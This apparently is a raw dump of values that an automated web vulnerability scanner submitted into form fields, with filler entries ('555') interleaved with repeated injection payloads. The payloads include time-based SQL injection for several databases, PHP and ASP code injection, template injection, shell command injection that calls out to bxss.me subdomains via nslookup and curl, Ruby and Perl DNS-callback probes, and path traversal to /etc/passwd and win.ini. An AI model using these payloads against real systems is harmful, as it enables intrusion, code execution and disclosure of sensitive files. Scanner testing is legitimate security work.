555
555
555
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
'"
555
<!--
555
555
'"()
555
555'&&sleep(27*1000)*kzgjcd&&'
555
555
555
555
555
555"&&sleep(27*1000)*ramcmp&&"
555
555
555
555'||sleep(27*1000)*bixhyx||'
555
555"||sleep(27*1000)*zvqdpr||"
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
';print(md5(31337));$a='
555
";print(md5(31337));$a="
${@print(md5(31337))}
555
${@print(md5(31337))}\
555
555
555
'.print(md5(31337)).'
555
555
555
<?php print(md5(31337));?>
555
'{${print(md5(31337))}}'
555
555
print(md5(31337));//
555
555
{php}print(md5(31337));{/php}
555
555
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555-1; waitfor delay '0:0:15' --
555
555
555-1); waitfor delay '0:0:15' --
555
555-1 waitfor delay '0:0:15' --
555pHUrCzYv'; waitfor delay '0:0:15' --
555-1 OR 355=(SELECT 355 FROM PG_SLEEP(15))--
555-1) OR 285=(SELECT 285 FROM PG_SLEEP(15))--
555-1)) OR 572=(SELECT 572 FROM PG_SLEEP(15))--
555l1DVE1DO' OR 52=(SELECT 52 FROM PG_SLEEP(15))--
555oCBBhCsn') OR 603=(SELECT 603 FROM PG_SLEEP(15))--
555abKfLO94')) OR 261=(SELECT 261 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@LiIsO
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1CorpSlo2lO
555
555
555
555
555
555
555
555
555
555
555
555
555
555
${9999415+9999892}
555
555
555
555
555
555
555
)
555
!(()&&!|*|*|
555
555
response.write(9702470*9778208)
rneBuUEQ
555
^(#$!@#$)(()))******
BzBkdvxx: pU7Z34gT
'+response.write(9702470*9778208)+'
555
555
555
"+response.write(9702470*9778208)+"
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
555
555
555
555
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
Http://bxss.me/t/fit.txt
555
555
555
555
555
555
555
555
'.gethostbyname(lc('hitom'.'bdorkfzya741d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(77).chr(110).chr(68).'
555
555
555
555
".gethostbyname(lc("hitei"."bxwtmmbh2283b.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(81).chr(98).chr(80)."
../../../../../../../../../../../../../../etc/passwd
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
/etc/shells
555
../../../../../../../../../../../../../../windows/win.ini
555
555
gethostbyname(lc('hitqk'.'cloroqnn5a105.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(90).chr(111).chr(65)
file:///etc/passwd
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(97).concat(72).concat(102).concat(68)+(require"socket" Socket.gethostbyname("hitze"+"ccgzessp8b3e2.bxss.me.")[3].to_s)+"
555
555
../555
555
../../../../../../../../../../../../../../etc/shells
'+'A'.concat(70-3).concat(22*4).concat(98).concat(69).concat(115).concat(79)+(require'socket' Socket.gethostbyname('hitfo'+'agqqthzy80627.bxss.me.')[3].to_s)+'
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
c:/windows/win.ini
555
555
555
555
bxss.me
'A'.concat(70-3).concat(22*4).concat(110).concat(86).concat(100).concat(83)+(require'socket' Socket.gethostbyname('hitxd'+'lmgzqxlpce4bf.bxss.me.')[3].to_s)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
555
555
555
echo pjrccj$()\ kzvwxc\nz^xyu||a #' &echo pjrccj$()\ kzvwxc\nz^xyu||a #|" &echo pjrccj$()\ kzvwxc\nz^xyu||a #
555
555
555
555
555
&echo ixpdul$()\ ktvyat\nz^xyu||a #' &echo ixpdul$()\ ktvyat\nz^xyu||a #|" &echo ixpdul$()\ ktvyat\nz^xyu||a #
555
555
555
555
555
555
555
555
555&echo gnrhys$()\ ajzpyy\nz^xyu||a #' &echo gnrhys$()\ ajzpyy\nz^xyu||a #|" &echo gnrhys$()\ ajzpyy\nz^xyu||a #
555
'"
555
555
|echo xsgssi$()\ ytolar\nz^xyu||a #' |echo xsgssi$()\ ytolar\nz^xyu||a #|" |echo xsgssi$()\ ytolar\nz^xyu||a #
555
555
555
555
555
555
<!--
555|echo aozxew$()\ qxezca\nz^xyu||a #' |echo aozxew$()\ qxezca\nz^xyu||a #|" |echo aozxew$()\ qxezca\nz^xyu||a #
555
555
555
555
555
(nslookup -q=cname hitvzbamblrpy6d364.bxss.me||curl hitvzbamblrpy6d364.bxss.me))
555
555
555
555
555
$(nslookup -q=cname hitgyrqxkbjioc7508.bxss.me||curl hitgyrqxkbjioc7508.bxss.me)
555
555
555
555
555
555
555
555
${9999125+9999715}
555
555
555
555
555
&nslookup -q=cname hitnpfubtcfmwc2044.bxss.me&'\"`0&nslookup -q=cname hitnpfubtcfmwc2044.bxss.me&`'
555
555
555
555
555
555
555
555
'"()
555
555
)
555
555
555
555'&&sleep(27*1000)*irsqau&&'
!(()&&!|*|*|
555
response.write(9148911*9344339)
555
&(nslookup -q=cname hitnxurdlainia99f9.bxss.me||curl hitnxurdlainia99f9.bxss.me)&'\"`0&(nslookup -q=cname hitnxurdlainia99f9.bxss.me||curl hitnxurdlainia99f9.bxss.me)&`'
555"&&sleep(27*1000)*eftyxc&&"
555
'+response.write(9148911*9344339)+'
555
555
^(#$!@#$)(()))******
555
555
555
"+response.write(9148911*9344339)+"
|(nslookup -q=cname hitcijlkqturh22e1d.bxss.me||curl hitcijlkqturh22e1d.bxss.me)
555
555'||sleep(27*1000)*kmxsul||'
`(nslookup -q=cname hitsscdsdavtt78655.bxss.me||curl hitsscdsdavtt78655.bxss.me)`
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
9BXV7bgF
555
555
555"||sleep(27*1000)*orlhju||"
;(nslookup -q=cname hitphgrjyrsmo81e75.bxss.me||curl hitphgrjyrsmo81e75.bxss.me)|(nslookup -q=cname hitphgrjyrsmo81e75.bxss.me||curl hitphgrjyrsmo81e75.bxss.me)&(nslookup -q=cname hitphgrjyrsmo81e75.bxss.me||curl hitphgrjyrsmo81e75.bxss.me)
';print(md5(31337));$a='
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitlqzqlztettfc996.bxss.me||curl${IFS}hitlqzqlztettfc996.bxss.me)
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
";print(md5(31337));$a="
KlxGPqbn: qFiD1wk3
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitljvanlkyea633fe.bxss.me||curl${IFS}hitljvanlkyea633fe.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitljvanlkyea633fe.bxss.me||curl${IFS}hitljvanlkyea633fe.bxss.me)&`'
555
555
555
Http://bxss.me/t/fit.txt
555
555
${@print(md5(31337))}
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
555
${@print(md5(31337))}\
555
555
555
555
555
/etc/shells
'.print(md5(31337)).'
555
555
555
../../../../../../../../../../../../../../etc/shells
555
<?php print(md5(31337));?>
c:/windows/win.ini
555
555
555
555
'{${print(md5(31337))}}'
555
bxss.me
555
print(md5(31337));//
555
555
555
555
{php}print(md5(31337));{/php}
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
[php]print(md5(31337));[/php]
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
../../../../../../../../../../../../../../windows/win.ini
555
555
555
555
555
file:///etc/passwd
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
../555
555
555
555
555
555
'.gethostbyname(lc('hitru'.'mhzfotjr18919.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(82).chr(98).chr(89).'
555
"+"A".concat(70-3).concat(22*4).concat(120).concat(74).concat(109).concat(85)+(require"socket" Socket.gethostbyname("hitte"+"izlrlpeo12010.bxss.me.")[3].to_s)+"
555
555
555
555
555
555
'+'A'.concat(70-3).concat(22*4).concat(121).concat(71).concat(113).concat(76)+(require'socket' Socket.gethostbyname('hitoy'+'dlifhlzb28c28.bxss.me.')[3].to_s)+'
555
555
555
555
555
555
'A'.concat(70-3).concat(22*4).concat(107).concat(87).concat(106).concat(72)+(require'socket' Socket.gethostbyname('hitfd'+'koeenosk8bb02.bxss.me.')[3].to_s)
555
555
555
555
555
555
".gethostbyname(lc("hitsh"."eatojouu7ad1a.bxss.me."))."A".chr(67).chr(hex("58")).chr(112).chr(87).chr(100).chr(74)."
555
555
555
555
555
gethostbyname(lc('hitzd'.'esdnoqjl3b856.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(79).chr(110).chr(90)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
echo dvflfq$()\ mmtihp\nz^xyu||a #' &echo dvflfq$()\ mmtihp\nz^xyu||a #|" &echo dvflfq$()\ mmtihp\nz^xyu||a #
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
&echo epiztq$()\ uporaf\nz^xyu||a #' &echo epiztq$()\ uporaf\nz^xyu||a #|" &echo epiztq$()\ uporaf\nz^xyu||a #
555
555
555&echo axmefs$()\ pmyzaj\nz^xyu||a #' &echo axmefs$()\ pmyzaj\nz^xyu||a #|" &echo axmefs$()\ pmyzaj\nz^xyu||a #
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
|echo eetmvm$()\ moescu\nz^xyu||a #' |echo eetmvm$()\ moescu\nz^xyu||a #|" |echo eetmvm$()\ moescu\nz^xyu||a #
555
555
'"()
555
555
555
555|echo muebza$()\ gjnjww\nz^xyu||a #' |echo muebza$()\ gjnjww\nz^xyu||a #|" |echo muebza$()\ gjnjww\nz^xyu||a #
555
555
555
555
555
555
555
555
555
(nslookup -q=cname hithpavzyzzsn5c46b.bxss.me||curl hithpavzyzzsn5c46b.bxss.me))
555'&&sleep(27*1000)*qqfkso&&'
555
555
555
555
555
555
xfs.bxss.me
555"&&sleep(27*1000)*vmdzyh&&"
555
$(nslookup -q=cname hitpesxcuwbpza885f.bxss.me||curl hitpesxcuwbpza885f.bxss.me)
555
555
555
555
555
&nslookup -q=cname hitgbbowwkaph54ed7.bxss.me&'\"`0&nslookup -q=cname hitgbbowwkaph54ed7.bxss.me&`'
555
555
555
&(nslookup -q=cname hitgcavmdvpfb99f2b.bxss.me||curl hitgcavmdvpfb99f2b.bxss.me)&'\"`0&(nslookup -q=cname hitgcavmdvpfb99f2b.bxss.me||curl hitgcavmdvpfb99f2b.bxss.me)&`'
555
555
555
555
555
555
555
555
555
|(nslookup -q=cname hithetkigvjni339b9.bxss.me||curl hithetkigvjni339b9.bxss.me)
555
555
555
555
555
555'||sleep(27*1000)*ixyabw||'
555
555
555
555"||sleep(27*1000)*ciuerr||"
'"
555
555
555
`(nslookup -q=cname hiturtobzegxg87027.bxss.me||curl hiturtobzegxg87027.bxss.me)`
<!--
555
555
555
555
555
555
555
;(nslookup -q=cname hitdflabuzexd7dff6.bxss.me||curl hitdflabuzexd7dff6.bxss.me)|(nslookup -q=cname hitdflabuzexd7dff6.bxss.me||curl hitdflabuzexd7dff6.bxss.me)&(nslookup -q=cname hitdflabuzexd7dff6.bxss.me||curl hitdflabuzexd7dff6.bxss.me)
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
|(nslookup${IFS}-q${IFS}cname${IFS}hitheyltzphcg27d40.bxss.me||curl${IFS}hitheyltzphcg27d40.bxss.me)
555
';print(md5(31337));$a='
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitefuzdcigzp6551b.bxss.me||curl${IFS}hitefuzdcigzp6551b.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitefuzdcigzp6551b.bxss.me||curl${IFS}hitefuzdcigzp6551b.bxss.me)&`'
555
";print(md5(31337));$a="
555
${@print(md5(31337))}
555
555
555
${@print(md5(31337))}\
555
555
'.print(md5(31337)).'
555
<?php print(md5(31337));?>
555
555
'{${print(md5(31337))}}'
555
555
print(md5(31337));//
555
555
{php}print(md5(31337));{/php}
555
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
${9999232+10000426}
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
!(()&&!|*|*|
response.write(9952088*9090804)
555
555
555
'+response.write(9952088*9090804)+'
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
"+response.write(9952088*9090804)+"
555
555
555
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt%3F.jpg
555
^(#$!@#$)(()))******
555
vEP9wVBL
/etc/shells
555
555
mvYwIfRO: JnLV74R3
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/shells
555
555
555
555
c:/windows/win.ini
555
555
555
bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
555
555
../../../../../../../../../../../../../../windows/win.ini
555
555
555
555
555
555
file:///etc/passwd
555
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(115).concat(69).concat(100).concat(84)+(require"socket" Socket.gethostbyname("hityx"+"bschhatcd57e1.bxss.me.")[3].to_s)+"
555
555
555
555
555
../555
555
555
555
555
'+'A'.concat(70-3).concat(22*4).concat(110).concat(90).concat(122).concat(79)+(require'socket' Socket.gethostbyname('hitva'+'vphtgscjbe727.bxss.me.')[3].to_s)+'
echo niprjh$()\ zgtoof\nz^xyu||a #' &echo niprjh$()\ zgtoof\nz^xyu||a #|" &echo niprjh$()\ zgtoof\nz^xyu||a #
555
555
555
555
555
'.gethostbyname(lc('hitjz'.'wtvrurirc7a47.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(89).chr(122).chr(89).'
555
555
".gethostbyname(lc("hitbs"."tbwrpqjkfeb0a.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(88).chr(97).chr(84)."
555
555
&echo vsayxv$()\ vtgcxk\nz^xyu||a #' &echo vsayxv$()\ vtgcxk\nz^xyu||a #|" &echo vsayxv$()\ vtgcxk\nz^xyu||a #
555
'A'.concat(70-3).concat(22*4).concat(102).concat(67).concat(100).concat(86)+(require'socket' Socket.gethostbyname('hitrh'+'advfuvyu4810f.bxss.me.')[3].to_s)
555
555&echo fmziuw$()\ tdnjhu\nz^xyu||a #' &echo fmziuw$()\ tdnjhu\nz^xyu||a #|" &echo fmziuw$()\ tdnjhu\nz^xyu||a #
gethostbyname(lc('hitda'.'ipczzpif525f1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(90).chr(97).chr(70)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
|echo fjnyuv$()\ kroynh\nz^xyu||a #' |echo fjnyuv$()\ kroynh\nz^xyu||a #|" |echo fjnyuv$()\ kroynh\nz^xyu||a #
555
555
555
555
555
555
555
555
555
555
555
555
555|echo wwobqw$()\ qcytcq\nz^xyu||a #' |echo wwobqw$()\ qcytcq\nz^xyu||a #|" |echo wwobqw$()\ qcytcq\nz^xyu||a #
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
555
555
(nslookup -q=cname hitlpzyclaepf88f26.bxss.me||curl hitlpzyclaepf88f26.bxss.me))
555
555
555
555
555
555
555
555
555
xfs.bxss.me
$(nslookup -q=cname hitzhtirgwgypcbfd3.bxss.me||curl hitzhtirgwgypcbfd3.bxss.me)
555
555
555
555
555
555
555
&nslookup -q=cname hithfqnzjenlu35327.bxss.me&'\"`0&nslookup -q=cname hithfqnzjenlu35327.bxss.me&`'
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
&(nslookup -q=cname hitembfeonton9805a.bxss.me||curl hitembfeonton9805a.bxss.me)&'\"`0&(nslookup -q=cname hitembfeonton9805a.bxss.me||curl hitembfeonton9805a.bxss.me)&`'
555
555
';print(md5(31337));$a='
|(nslookup -q=cname hitjsayvhhnajee200.bxss.me||curl hitjsayvhhnajee200.bxss.me)
'"
555
555
555
`(nslookup -q=cname hitfytazsaaey49194.bxss.me||curl hitfytazsaaey49194.bxss.me)`
";print(md5(31337));$a="
555
555
555
${@print(md5(31337))}
555
555
555
<!--
555
'"()
555
555
${@print(md5(31337))}\
555
555
555'&&sleep(27*1000)*dtxryq&&'
;(nslookup -q=cname hitrrgpaxznpnf183e.bxss.me||curl hitrrgpaxznpnf183e.bxss.me)|(nslookup -q=cname hitrrgpaxznpnf183e.bxss.me||curl hitrrgpaxznpnf183e.bxss.me)&(nslookup -q=cname hitrrgpaxznpnf183e.bxss.me||curl hitrrgpaxznpnf183e.bxss.me)
555"&&sleep(27*1000)*xhjcnq&&"
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitygrsjjxaznd9e46.bxss.me||curl${IFS}hitygrsjjxaznd9e46.bxss.me)
'.print(md5(31337)).'
555'||sleep(27*1000)*zchknd||'
<?php print(md5(31337));?>
555"||sleep(27*1000)*datmlx||"
&(nslookup${IFS}-q${IFS}cname${IFS}hitggtxxjtflgdbfad.bxss.me||curl${IFS}hitggtxxjtflgdbfad.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitggtxxjtflgdbfad.bxss.me||curl${IFS}hitggtxxjtflgdbfad.bxss.me)&`'
555
555
555
555
555
'{${print(md5(31337))}}'
555
print(md5(31337));//
555
555
555
{php}print(md5(31337));{/php}
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555*if(now()=sysdate(),sleep(15),0)
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555-1; waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
555
555-1); waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555
555-1 waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555
555qqp0dvPX'; waitfor delay '0:0:15' --
555PZE10EKF'; waitfor delay '0:0:15' --
555
555-1 OR 818=(SELECT 818 FROM PG_SLEEP(15))--
555-1 OR 601=(SELECT 601 FROM PG_SLEEP(15))--
555
555-1) OR 673=(SELECT 673 FROM PG_SLEEP(15))--
555-1) OR 342=(SELECT 342 FROM PG_SLEEP(15))--
555
555-1)) OR 182=(SELECT 182 FROM PG_SLEEP(15))--
555-1)) OR 857=(SELECT 857 FROM PG_SLEEP(15))--
555
5556NnGzbLf' OR 756=(SELECT 756 FROM PG_SLEEP(15))--
555
555
555
555rRrpBmUJ' OR 497=(SELECT 497 FROM PG_SLEEP(15))--
555GeIbz136') OR 699=(SELECT 699 FROM PG_SLEEP(15))--
555
555LfveLL7f') OR 470=(SELECT 470 FROM PG_SLEEP(15))--
555EgrsRL1U')) OR 427=(SELECT 427 FROM PG_SLEEP(15))--
555
555N1aAzbvF')) OR 296=(SELECT 296 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555*if(now()=sysdate(),sleep(15),0)
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@gyMCF
@@mA0br
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555sNmAxjR0'; waitfor delay '0:0:15' --
555-1 OR 639=(SELECT 639 FROM PG_SLEEP(15))--
555-1) OR 890=(SELECT 890 FROM PG_SLEEP(15))--
555-1)) OR 372=(SELECT 372 FROM PG_SLEEP(15))--
555MqT15Qlr' OR 919=(SELECT 919 FROM PG_SLEEP(15))--
5559onY8uHC') OR 675=(SELECT 675 FROM PG_SLEEP(15))--
555NppYixRd')) OR 443=(SELECT 443 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@VBJLJ
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
${9999588+10000331}
555
555
555
555
555
555
555
)
555
!(()&&!|*|*|
555
555
555
response.write(9752148*9456472)
555
'+response.write(9752148*9456472)+'
"+response.write(9752148*9456472)+"
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
^(#$!@#$)(()))******
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
Http://bxss.me/t/fit.txt
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
/etc/shells
555
555
555
555
../../../../../../../../../../../../../../etc/shells
555
555
555
c:/windows/win.ini
555
555
555
555
bxss.me
555
555
555
555
555
555
555
555
555
555
YLwJjKIR
555
555
555
555
555
WeMor1kY: aElb4QmA
555
555
555
555
555
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
555
555
555
555
echo yjpevl$()\ bbrpbz\nz^xyu||a #' &echo yjpevl$()\ bbrpbz\nz^xyu||a #|" &echo yjpevl$()\ bbrpbz\nz^xyu||a #
555
555
&echo iodnwo$()\ luktda\nz^xyu||a #' &echo iodnwo$()\ luktda\nz^xyu||a #|" &echo iodnwo$()\ luktda\nz^xyu||a #
../../../../../../../../../../../../../../etc/passwd
555
555
555
../../../../../../../../../../../../../../windows/win.ini
555
555
555&echo zjppue$()\ clkivx\nz^xyu||a #' &echo zjppue$()\ clkivx\nz^xyu||a #|" &echo zjppue$()\ clkivx\nz^xyu||a #
file:///etc/passwd
|echo pzawyg$()\ vkuhid\nz^xyu||a #' |echo pzawyg$()\ vkuhid\nz^xyu||a #|" |echo pzawyg$()\ vkuhid\nz^xyu||a #
555
555
555|echo fidwqw$()\ usucte\nz^xyu||a #' |echo fidwqw$()\ usucte\nz^xyu||a #|" |echo fidwqw$()\ usucte\nz^xyu||a #
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
(nslookup -q=cname hitqccqziilcpb295a.bxss.me||curl hitqccqziilcpb295a.bxss.me))
555
555
555
$(nslookup -q=cname hitusfphoklpg1d0a7.bxss.me||curl hitusfphoklpg1d0a7.bxss.me)
../555
'.gethostbyname(lc('hitdm'.'tsizwskn3a08d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(79).chr(117).chr(89).'
555
555
&nslookup -q=cname hitjnniqwmrxoa2501.bxss.me&'\"`0&nslookup -q=cname hitjnniqwmrxoa2501.bxss.me&`'
555
555
555
555
&(nslookup -q=cname hitaezyfjqqvjecac0.bxss.me||curl hitaezyfjqqvjecac0.bxss.me)&'\"`0&(nslookup -q=cname hitaezyfjqqvjecac0.bxss.me||curl hitaezyfjqqvjecac0.bxss.me)&`'
555
555
555
".gethostbyname(lc("hitwg"."jxwmqwrb31434.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(68).chr(107).chr(78)."
|(nslookup -q=cname hitdagwbiqcmef4313.bxss.me||curl hitdagwbiqcmef4313.bxss.me)
`(nslookup -q=cname hitnyuruwwvpk187d7.bxss.me||curl hitnyuruwwvpk187d7.bxss.me)`
555
gethostbyname(lc('hitgj'.'yjgqmsfe396f5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(74).chr(118).chr(77)
"+"A".concat(70-3).concat(22*4).concat(106).concat(78).concat(110).concat(74)+(require"socket" Socket.gethostbyname("hitza"+"hiutiqkh20112.bxss.me.")[3].to_s)+"
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
'+'A'.concat(70-3).concat(22*4).concat(115).concat(71).concat(105).concat(73)+(require'socket' Socket.gethostbyname('hitsj'+'flsxetsd4f6e5.bxss.me.')[3].to_s)+'
555
555
;(nslookup -q=cname hitohmxsbmyvj0d3b1.bxss.me||curl hitohmxsbmyvj0d3b1.bxss.me)|(nslookup -q=cname hitohmxsbmyvj0d3b1.bxss.me||curl hitohmxsbmyvj0d3b1.bxss.me)&(nslookup -q=cname hitohmxsbmyvj0d3b1.bxss.me||curl hitohmxsbmyvj0d3b1.bxss.me)
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitamqjchotrle4218.bxss.me||curl${IFS}hitamqjchotrle4218.bxss.me)
'A'.concat(70-3).concat(22*4).concat(116).concat(81).concat(108).concat(77)+(require'socket' Socket.gethostbyname('hitvk'+'syeczepld072d.bxss.me.')[3].to_s)
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitufctlrepkm5f701.bxss.me||curl${IFS}hitufctlrepkm5f701.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitufctlrepkm5f701.bxss.me||curl${IFS}hitufctlrepkm5f701.bxss.me)&`'
555
555
xfs.bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"
555
555
555
555
<!--
555
555
555
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
';print(md5(31337));$a='
555
555
'"()
";print(md5(31337));$a="
555
555'&&sleep(27*1000)*pxbiiz&&'
${@print(md5(31337))}
555
555
${@print(md5(31337))}\
555
555"&&sleep(27*1000)*aijrjw&&"
555
'.print(md5(31337)).'
555'||sleep(27*1000)*fnvtqa||'
555
555
555"||sleep(27*1000)*uaohzg||"
<?php print(md5(31337));?>
555
'{${print(md5(31337))}}'
555
555
print(md5(31337));//
555
{php}print(md5(31337));{/php}
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
